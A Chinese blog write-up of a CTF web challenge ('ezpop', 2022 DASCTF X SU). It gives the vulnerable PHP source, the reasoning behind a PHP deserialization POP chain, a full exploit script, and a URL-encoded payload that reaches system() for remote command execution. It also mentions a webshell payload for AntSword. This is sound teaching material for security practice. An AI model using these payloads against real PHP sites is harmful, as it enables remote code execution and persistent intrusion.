首页 > 其他分享 >2022DASCTF X SU 三月春季挑战赛 web

2022DASCTF X SU 三月春季挑战赛 web

时间:2022-08-24 21:22:07浏览次数:51  
标签:__ web 2022DASCTF 3A% flag SU php fin public

1.ezpop

2.calc

3.upgdstore


ezpop

给出了源码:

<?php

class crow
{
    public $v1;
    public $v2;

    function eval() {
        echo new $this->v1($this->v2);
    }

    public function __invoke()
    {
        $this->v1->world();
    }
}

class fin
{
    public $f1;

    public function __destruct()
    {
        echo $this->f1 . '114514';
    }

    public function run()
    {
        ($this->f1)();
    }

    public function __call($a, $b)
    {
        echo $this->f1->get_flag();
    }

}

class what
{
    public $a;

    public function __toString()
    {
        $this->a->run();
        return 'hello';
    }
}
class mix
{
    public $m1;

    public function run()
    {
        ($this->m1)();
    }

    public function get_flag()
    {
        eval('#' . $this->m1);
    }

}

if (isset($_POST['cmd'])) {
    unserialize($_POST['cmd']);
} else {
    highlight_file(__FILE__);
}
?>

显然,这是要我们找到一条POP链。
我们从目的出发,找到可以利用的函数eval()——可以将字符串按照php代码来计算。如果传入system()函数调用外部命令实现rce,就有可能找到flag。
可以明确用mix::get_flag()函数触发eval(),那么,如何触发mix::get_flag()
1、通过mix::run()触发,但这样会限制$m1为"get_flag",从而无法利用eval()执行命令,行不通;
2、通过fin::__call($a, $b)触发,将mix传入fin的$f1即可,可行。
接下来,如何触发fin::__call($a, $b)成了问题,目前就只形成了这样的链子
fin::__call() --> mix::get_flag()
倒推困难,我们就找入口正推。这里注意到这样几个魔术方法

__destruct()  //当对象被销毁时触发
__toString()  //当把类当作字符串使用时触发
__invoke()    //当对象调用为函数时触发
__call()      //当对象上下文中调用不可访问的方法时触发

fin::_destruct()恰好可以用来触发what::_toString(),从而可以触发run(),继而再触发一个函数,如果触发_invoke(),由于world()不可访问,就可以用之触发_call(),从而形成完整的POP链:
fin::__destruct() --> what::__toString() --> fin::run() --> crow::__invoke() --> fin::__call() --> mix::get_flag()(这里用的fin::run(),另一个似乎也可以)。

另一个需要注意的点是:eval()用'#'进行了过滤,因此还需要绕过,这里可以选用?>闭合,也可以选用\n换行符!
构造exp如下:

<?php

class crow
{
    public $v1;
    public $v2;

    function eval() {
        echo new $this->v1($this->v2);
    }

    public function __invoke()
    {
        $this->v1->world();
    }
}

class fin
{
    public $f1;

    public function __destruct()
    {
        echo $this->f1 . '114514';
    }

    public function run()
    {
        ($this->f1)();
    }

    public function __call($a, $b)
    {
        echo $this->f1->get_flag();
    }

}

class what
{
    public $a;

    public function __toString()
    {
        $this->a->run();
        return 'hello';
    }
}
class mix
{
    public $m1;

    public function run()
    {
        ($this->m1)();
    }

    public function get_flag()
    {
        eval('#' . $this->m1);
    }

}

//fin::__destruct() --> what::__toString() --> fin::run() --> crow::__invoke() --> fin::__call() --> mix::get_flag()

$a=new fin();//为了调用__destruct()方法
$b=new fin();
//$b=new mix;
$c=new fin();
$d=new crow();
$e=new what();
$f=new mix();

$a->f1=$e;//为了调用__toString()方法
$e->a=$b;//为了去调用run方法
$b->f1=$d;//为了去调用__invoke()方法
$d->v1=$c;//为了去调用__call()方法
$c->f1=$f;//为了去调用get_flag()方法 
$f->m1="\nsystem('ls /');" ;//用 \n 绕过注释符

echo urlencode(serialize($a));
?>

得到O%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A4%3A%22what%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A4%3A%22crow%22%3A2%3A%7Bs%3A2%3A%22v1%22%3BO%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3Bs%3A16%3A%22%0Asystem%28%27ls+%2F%27%29%3B%22%3B%7D%7Ds%3A2%3A%22v2%22%3BN%3B%7D%7D%7D%7D

最后用bp传参即可(这里用ls /命令查根目录较麻烦,于是用ls查当前目录,也不很好找,最后选择用cat *查看所有文件,结果如下图)

成功找到flag!

**
该题在构造pop链上思路不算混乱(可能跟我偷看了一眼wp有关),但是在传参上遇到了很大的问题,一方面HackBar(估计是HB自身问题)总是失败搞人心态,另一方面用burp suite发送POST请求的方法没有掌握,即有三个地方需要修改:
1、GET修改为POST方法
2、加上媒体类型信息:Content-Type: application/x-www-form-urlencoded
3、末尾添加需上传语句:cmd=xxxx
**

另外有师傅在构造exp时传入"?><? @eval(\$_POST[b]);",继而利用蚁剑连接找flag,但是博主尚未弄清蚁剑

标签:__,web,2022DASCTF,3A%,flag,SU,php,fin,public
From: https://www.cnblogs.com/ialoe/p/2022DASCTF.html

相关文章

  • javaWeb-HTML
    HTML基础标签字体大小(<h1>---<h6>)<h1>我是h1</h1><h2>我是h1</h2><h3>我是h1</h3><h4>我是h1</h4><h5>我是h1</h5><h6>我是h1</h6>换行<hr>......
  • 搭建Web服务器
    1.1、性能对比使用apachebench工具对Nginx静态页、GolangHttp程序、PHP7+SwooleHttp程序进行压力测试。在同一台机器上,进行并发100用户,共100万次Http请求的基准测试中......
  • web项目开发写接口时,为什么需要在关键位置打印日志-2022新项目
    一、业务场景最近在开发新功能,新功能主要就是写app的首页查询接口,接口比较多有十几个,首页会有各种查询,新增操作比较少。由于用户量比较大,据说并发量不小,所以首页的很......
  • WebApi传数据以及Postman测试
    1.参数传值代码截图postman截图postman结果截图2.参数传json数据2.1传一条数据代码截图postman截图postman结果截图2.2传一个集合(多条数据)代码截图pos......
  • Lockup - enhance timing closure
    reflink: https://www.edn.com/enhanced-timing-closure-using-latches/ 1.complexity&importanceofholdfixing当代SoCtimingtimingclosure的效率很大......
  • 1. Two Sum #
    1.TwoSum#题目#Givenanarrayofintegers,returnindicesofthetwonumberssuchthattheyadduptoaspecifictarget.Youmayassumethateachinputwo......
  • .NET6 WebApi 实现定时任务调度Quartz
    前言本地json持久化调度任务,无需数据库直接调用本地类方法,无需通过WebApi接口1.创建项目,安装组件创建.NET6WebApi项目;引入GZY.Quartz.MUI1.1.51.1Progarm.c......
  • CentOS安装部署Weblogic12.1.3
    开始以为和旧版安装一样,使用控制台的方式,下载bin文件,然后一步步在console执行下来就行了。万万没想到,从12C版本后,bin文件不提供了,改成全系统通用的jar文件(generic.jar)。......
  • Web编辑器粘贴图片自动上传到服务器(Java版)
    ​图片的复制无非有两种方法,一种是图片直接上传到服务器,另外一种转换成二进制流的base64码目前限chrome浏览器使用首先以um-editor的二进制流保存为例:打开umeditor.js,......
  • 1 分钟在 Serverless 上部署现代化 Deno Web 应用
    作者:连喆人本文选自“Serverless函数计算征集令"征文利用Serverless的水平扩展与按量付费优势,结合自定义运行时,实现Web应用的快速迁移。而Deno运行时是新......